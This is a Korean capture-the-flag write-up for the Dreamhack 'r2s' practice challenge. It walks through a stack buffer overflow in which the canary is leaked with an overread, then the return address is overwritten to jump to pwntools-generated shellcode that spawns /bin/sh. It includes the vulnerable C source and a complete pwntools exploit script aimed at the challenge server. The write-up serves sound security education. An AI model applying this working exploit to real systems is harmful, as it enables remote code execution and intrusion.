먼저 checksec r2s를 통해 적용된 보안 기법들을 살펴보겠습니다.

이전 문제들과는 다르게 Canary가 적용된 것을 알 수 있습니다.
이제 문제에서 제공해준 파일 r2s.c를 살펴보겠습니다.
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
입력을 받는 부분이 read(0, buf, 0x100), gets(buf)로 두 군데 있고 read 뒤에는 입력을 출력하는 printf 함수가 있습니다. 두 입력 다 입력 길이 제한이 없으므로 첫 번째 입력에서 카니리를 얻은 후 두 번째 입력에서 Return Address Overwrite를 적용하면 될 것 같습니다.
문제 코드를 보면 buf의 주소와 buf와 rbp까지의 거리를 출력해줍니다.

buf와 rbp의 거리가 96바이트임을 알게 되었습니다.
#값 확인용 함수
def slog(n, m): return success(': '.join([n, hex(m)]))
#아키텍처 지정
context.arch = 'amd64'
p.recvuntil(b"buf: ")
buf = int(p.recvline()[:-1], 16)
buf의 주소를 p.recvline()을 이용해 받아서 10진수로 변환해 줍니다. 이 때 줄바꿈 문자를 제외하고 받아야 하기 때문에 recvline()에 [:-1]을 붙여 줍니다.
p.recvuntil(b"$rbp: ")
buf2sfp = int(p.recvline())
buf2cnry = buf2sfp - 8
마찬가지로 buf와 rbp까지의 거리도 구합니다. canary는 8바이트 이므로 buf와 canary의 거리는 (buf와 rbp까지의 거리 - 8)임을 알 수 있습니다.
payload = b'A' * (buf2cnry + 1)
p.sendafter(b"Input: ", payload)
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))
slog("Cnry", cnry)
canary를 얻기 위해 buf와 canary의 거리 + 1만큼 더미 데이터를 채워 payload를 보내겠습니다. 이 때 p.sendafter대신 p.sendafterline을 사용하게 되면 줄바꿈 문자가 하나 더 들어가므로 정상적으로 카나리를 얻을 수 없으니 주의해야합니다.
canary가 정상적으로 얻어짐을 확인할 수 있습니다.
그럼 이제 payload에 얻은 canary를 더한 후 return address overwrite를 사용하면 문제를 해결할 수 있습니다.
#sh = execve("/bin/sh", NULL, NULL)의 셸코드
sh = asm(shellcraft.sh())
#sh를 좌측정렬하고 나머지를 b'A'로 채운 buf2cnry길이의 문자열
payload = sh.ljust(buf2cnry, b'A')
payload += p64(cnry)
#SFP
payload += b'B' * 8
payload += p64(buf)
p.sendlineafter(b"Input: ", payload)
p.interactive()
sh = asm(shellcraft.sh())는 execve("/bin/sh", NULL, NULL)의 셸코드를 간단하게 만들어 주는 pwntools의 기능입니다.
payload를 작성해서 전달하면 셸을 얻을 수 있게 됩니다. 아래는 전체 코드입니다.
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote("host1.dreamhack.games", 9132)
p.recvuntil(b"buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Buf", buf)
p.recvuntil(b"$rbp: ")
buf2sfp = int(p.recvline())
buf2cnry = buf2sfp - 8
slog("buf2sfp", buf2sfp)
slog("buf2cnry", buf2cnry)
payload = b'A' * (buf2cnry + 1)
p.sendafter(b"Input: ", payload)
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))
slog("Cnry", cnry)
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A')
payload += p64(cnry)
payload += b'B' * 8
payload += p64(buf)
p.sendlineafter(b"Input: ", payload)
p.interactive()
실행하면 셸을 얻을 수 있습니다.
